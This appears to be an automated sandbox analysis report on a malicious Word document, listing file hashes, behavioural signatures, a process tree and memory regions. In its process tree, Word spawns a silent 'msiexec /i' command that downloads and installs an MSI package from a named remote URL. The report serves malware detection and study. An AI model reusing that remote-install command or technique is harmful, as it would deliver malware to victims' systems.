Analysis

  • max time kernel
    140s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-07-2024 03:51

General

  • Target

    20fc5a09fb88c413a2f30b7e0e7155ba_JaffaCakes118.doc

  • Size

    57KB

  • MD5

    20fc5a09fb88c413a2f30b7e0e7155ba

  • SHA1

    a17078ec379ec9feba015b90c631073fe858c0a2

  • SHA256

    7aa4bf0cc69f3e9a4087fc134097739ccdfb4c6fbb2c332ff6b85582588aa403

  • SHA512

    d41f071e6a8a6c2cdb052122c7bf3689a45d0736af3e643b622124aef5a97b4d93f072dd7fe84556051535c551f4dfdfe953abc31708648b27b922f463cbe0be

  • SSDEEP

    768:kDk2KPoKpZpVuQTAsaORKy21UCdh+1o9XQOFo1XREUMwhY+mJIZLJ7:kOAQZpV7zaKa1Uu+a9cXR0w4

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Use of msiexec (install) with remote resource 1 IoCs
  • Event Triggered Execution: Installer Packages 1 TTPs 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 32 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\20fc5a09fb88c413a2f30b7e0e7155ba_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2888
    • C:\Windows\SYSTEM32\msiexec.exe
      msiexec /q /i http://lovetthornes.com/shipping/images/elmt.msi
      2⤵
      • Process spawned unexpected child process
      • Use of msiexec (install) with remote resource
      • Event Triggered Execution: Installer Packages
      • Suspicious use of AdjustPrivilegeToken
      PID:3656
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4884
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4216,i,7869973516895866428,11647313872437892197,262144 --variations-seed-version --mojo-platform-channel-handle=4156 /prefetch:8
    1⤵
      PID:1468

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\TCD4717.tmp\gb.xsl

      Filesize

      262KB

      MD5

      51d32ee5bc7ab811041f799652d26e04

      SHA1

      412193006aa3ef19e0a57e16acf86b830993024a

      SHA256

      6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

      SHA512

      5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

    • memory/2888-14-0x00007FFA0CA70000-0x00007FFA0CA80000-memory.dmp

      Filesize

      64KB

    • memory/2888-6-0x00007FFA0F370000-0x00007FFA0F380000-memory.dmp

      Filesize

      64KB

    • memory/2888-17-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-5-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-19-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-4-0x00007FFA0F370000-0x00007FFA0F380000-memory.dmp

      Filesize

      64KB

    • memory/2888-7-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-8-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-9-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-10-0x00007FFA0CA70000-0x00007FFA0CA80000-memory.dmp

      Filesize

      64KB

    • memory/2888-11-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-18-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-13-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-0-0x00007FFA0F370000-0x00007FFA0F380000-memory.dmp

      Filesize

      64KB

    • memory/2888-3-0x00007FFA4F38D000-0x00007FFA4F38E000-memory.dmp

      Filesize

      4KB

    • memory/2888-2-0x00007FFA0F370000-0x00007FFA0F380000-memory.dmp

      Filesize

      64KB

    • memory/2888-12-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-16-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-15-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-32-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-33-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-1-0x00007FFA0F370000-0x00007FFA0F380000-memory.dmp

      Filesize

      64KB

    • memory/2888-500-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-519-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB

    • memory/2888-540-0x00007FFA0F370000-0x00007FFA0F380000-memory.dmp

      Filesize

      64KB

    • memory/2888-541-0x00007FFA0F370000-0x00007FFA0F380000-memory.dmp

      Filesize

      64KB

    • memory/2888-543-0x00007FFA0F370000-0x00007FFA0F380000-memory.dmp

      Filesize

      64KB

    • memory/2888-542-0x00007FFA0F370000-0x00007FFA0F380000-memory.dmp

      Filesize

      64KB

    • memory/2888-544-0x00007FFA4F2F0000-0x00007FFA4F4E5000-memory.dmp

      Filesize

      2.0MB